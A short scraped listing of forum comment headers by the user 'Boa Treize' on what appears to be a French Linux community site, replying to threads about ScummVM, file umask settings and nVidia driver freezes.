http://europa.eu.int/comm/internal_market/fr/services/services/inde(...)
# Pourquoi éviter ?
Posté par Boa Treize (site web personnel) . En réponse au message Les oldies et ScummVm. Évalué à 2.
# Il faut que tu modifies tes applications
Posté par Boa Treize (site web personnel) . En réponse au message Umask sur les fichiers. Évalué à 2.
[^] # Re: Freeze aleatoires ...
Posté par Boa Treize (site web personnel) . En réponse au journal Nouveaux pilotes nVidia. Évalué à 2.